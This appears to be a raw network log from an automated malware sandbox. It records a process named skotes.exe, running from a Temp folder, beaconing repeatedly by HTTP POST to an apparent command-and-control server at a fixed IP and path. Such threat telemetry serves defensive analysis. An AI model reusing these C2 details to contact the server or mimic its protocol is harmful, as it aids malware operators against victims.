Nov 24, 2024 02:17:19.539891958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50253	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:21.177146912 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:17:22.596647978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50254	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:24.328618050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:17:25.705490112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50256	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:27.336440086 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:17:28.682349920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50258	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:30.421727896 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:17:31.846051931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50259	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:33.495789051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:17:34.953399897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50260	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:36.702373028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:17:38.089241982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50263	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:39.720141888 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:17:41.223583937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50266	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:42.958623886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:17:44.347942114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50273	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:45.974886894 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:17:47.348767042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50275	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:49.089543104 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:17:50.511884928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50277	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:52.136521101 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:17:53.564558029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50293	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:55.309818029 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:17:56.695672989 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50295	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:58.355509043 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:17:59.791574955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50300	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:01.536345959 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:18:02.876564980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50303	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:04.503032923 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:18:05.917790890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50304	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:07.650022030 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:18:08.990470886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50306	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:10.623049021 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:18:12.021833897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50308	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:13.774220943 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:18:15.104433060 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50309	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:16.736562014 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:18:18.174130917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50312	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:19.911180973 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:18:21.334717989 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50313	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:22.973306894 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:18:24.366216898 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50316	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:26.111371994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:18:27.451198101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50317	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:18:29.076982975 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
